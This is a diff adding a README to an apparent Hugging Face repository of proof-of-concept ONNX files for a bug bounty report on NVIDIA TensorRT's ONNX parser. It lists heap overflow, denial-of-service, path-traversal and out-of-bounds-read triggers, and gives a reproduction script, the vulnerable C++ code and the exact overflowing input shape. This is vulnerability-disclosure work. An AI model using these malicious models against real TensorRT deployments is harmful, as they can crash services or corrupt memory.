Upload README.md with huggingface_hub

README.md

@@ -0,0 +1,53 @@
+---
+tags:
+  - security
+  - proof-of-concept
+license: apache-2.0
+---
+
+# TensorRT ONNX Parser - Security PoC Models
+
+Bug bounty research submission to huntr.com targeting NVIDIA TensorRT ONNX parser.
+
+## Vulnerabilities
+
+| File | Vulnerability | CWE | Severity |
+|------|--------------|-----|----------|
+| `eyelike_overflow.onnx` | Integer overflow -> heap OOB write in EyeLike op | CWE-190, CWE-122 | Critical |
+| `eyelike_small_overflow.onnx` | Same bug, faster crash trigger | CWE-190, CWE-122 | Critical |
+| `external_oom_length.onnx` | Uncapped length field -> OOM denial of service | CWE-770 | High |
+| `external_abs_path.onnx` | Absolute path traversal bypass in external weights | CWE-22 | Medium |
+| `external_neg_offset.onnx` | Negative seek offset in external weights | CWE-20 | Medium |
+| `external_oob_offset.onnx` | Read past EOF - uninitialized buffer risk | CWE-125 | Medium |
+
+## Reproduce (Finding 1 - Heap OOB Write)
+
+```python
+import tensorrt as trt
+
+logger = trt.Logger(trt.Logger.VERBOSE)
+builder = trt.Builder(logger)
+network = builder.create_network(
+    1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
+parser = trt.OnnxParser(network, logger)
+
+with open("eyelike_overflow.onnx", "rb") as f:
+    parser.parse(f.read())
+# Expected: SIGSEGV / heap-buffer-overflow
+```
+
+## Root Cause (Finding 1)
+
+```cpp
+// onnxOpImporters.cpp - EyeLike importer
+int totalWeights = dims.d[0] * dims.d[1];  // int32 overflow! dims are int64_t
+std::vector<int> values(totalWeights);      // undersized allocation
+for (int32_t r = 0; r < dims.d[0]; ++r)
+    for (int32_t c = 0; c < dims.d[1]; ++c)
+        values[r * dims.d[1] + c] = 0;     // OOB WRITE
+```
+
+Trigger: input shape `[65537, 65536]`
+- True product: 4,295,032,832 (overflows int32)
+- int32 truncated: 65,536 (vector too small)
+- First OOB write: r=1, c=0 -> index 65,536